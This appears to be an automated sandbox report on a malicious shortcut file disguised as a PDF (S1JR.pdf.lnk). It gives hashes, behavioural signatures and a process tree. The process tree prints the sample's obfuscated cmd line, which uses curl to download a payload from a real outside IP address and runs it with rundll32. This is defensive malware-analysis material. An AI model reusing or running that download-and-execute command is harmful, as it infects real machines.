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Analysis
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max time kernel
145s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
11/10/2023, 14:32
Static task
static1
Behavioral task
behavioral1
Sample
S1JR.pdf.lnk
Resource
win7-20230831-en
3 signatures
150 seconds
Behavioral task
behavioral2
Sample
S1JR.pdf.lnk
Resource
win10v2004-20230915-en
4 signatures
150 seconds
General
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Target
S1JR.pdf.lnk
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Size
2KB
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MD5
65937746034e734deb86f064b98a5958
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SHA1
2b33bdf69fa40f53b4443c079e50fa653c4a3e88
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SHA256
d757eff3f0d03873fc94627ebc59e38ce6c231fce6c5107108222376011559cb
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SHA512
68689b44f07d661a7cbac01cfd1a9b6b248fb9b6514f6d184892ad381213f10f8f53d180313ca5a63b917c3f8a3d946a6d1b130521717a8e654acca598fef06f
Score
7/10
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs ping.exe 1 TTPs 2 IoCs
pid Process 2908 PING.EXE 3916 PING.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4168 wrote to memory of 2168 4168 cmd.exe 87 PID 4168 wrote to memory of 2168 4168 cmd.exe 87 PID 2168 wrote to memory of 3916 2168 cmd.exe 88 PID 2168 wrote to memory of 3916 2168 cmd.exe 88 PID 2168 wrote to memory of 488 2168 cmd.exe 89 PID 2168 wrote to memory of 488 2168 cmd.exe 89 PID 2168 wrote to memory of 2908 2168 cmd.exe 99 PID 2168 wrote to memory of 2908 2168 cmd.exe 99 PID 2168 wrote to memory of 2136 2168 cmd.exe 101 PID 2168 wrote to memory of 2136 2168 cmd.exe 101
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\S1JR.pdf.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4168 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c CKk || eCHO CKk & p"I"nG CKk || C"URl" h"t"t"p:"//1"35.125".177.95/syK"/u"UF -o C:\Users\Admin\AppData\Local\Temp\CKk.log & p"I"nG -n 2 CKk || rundll32 C:\Users\Admin\AppData\Local\Temp\CKk.log scab /k besogon728 & Exi"t" 'fqKtaeAEJAc2⤵
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\system32\PING.EXEp"I"nG CKk3⤵
- Runs ping.exe
PID:3916
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C:\Windows\system32\curl.exeC"URl" h"t"t"p:"//1"35.125".177.95/syK"/u"UF -o C:\Users\Admin\AppData\Local\Temp\CKk.log3⤵PID:488
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C:\Windows\system32\PING.EXEp"I"nG -n 2 CKk3⤵
- Runs ping.exe
PID:2908
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C:\Windows\system32\rundll32.exerundll32 C:\Users\Admin\AppData\Local\Temp\CKk.log scab /k besogon7283⤵PID:2136
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